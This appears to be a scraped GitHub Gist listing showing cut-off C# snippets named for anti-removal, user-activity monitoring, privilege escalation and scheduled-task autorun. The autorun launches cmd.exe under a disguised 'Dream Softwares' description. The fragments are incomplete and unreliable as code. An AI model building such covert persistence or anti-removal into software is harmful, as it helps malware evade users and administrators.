Skip to content

Instantly share code, notes, and snippets.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
static class AntiRemove
{
const uint GENERIC_READ = 0x80000000;
const uint DUPLICATE_SAME_ACCESS = 0x00000002;
const uint FILE_SHARE_READ = 1;
const uint OPEN_EXISTING = 3;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
class UserActivityMonitor
{
class NtAuthorityPrivilegeEscalator {
public static bool IsAdmin() {
try {
Process.EnterDebugMode();
Process.LeaveDebugMode();
return true;
} catch {
return false;
}
}
class Program
{
static void Main(string[] args)
{
TaskAutorun task = new TaskAutorun("TaskTest");
task.Author = "Pskwsk";
task.Description = "Dream Softwares";
task.Version = "1.0.0.0";
task.Path = "cmd.exe";
public class TaskAutorun
{
public string TaskName { get; set; }
public string Description { get; set; }
public string Author { get; set; }
public string Version { get; set; }
public string Path { get; set; }
public TaskAutorun(string name)
{
public class COMObject
{
private object self;
private Type COMType;
public static COMObject Create(string name)
{
return new COMObject(Activator.CreateInstance(Type.GetTypeFromProgID(name)));
}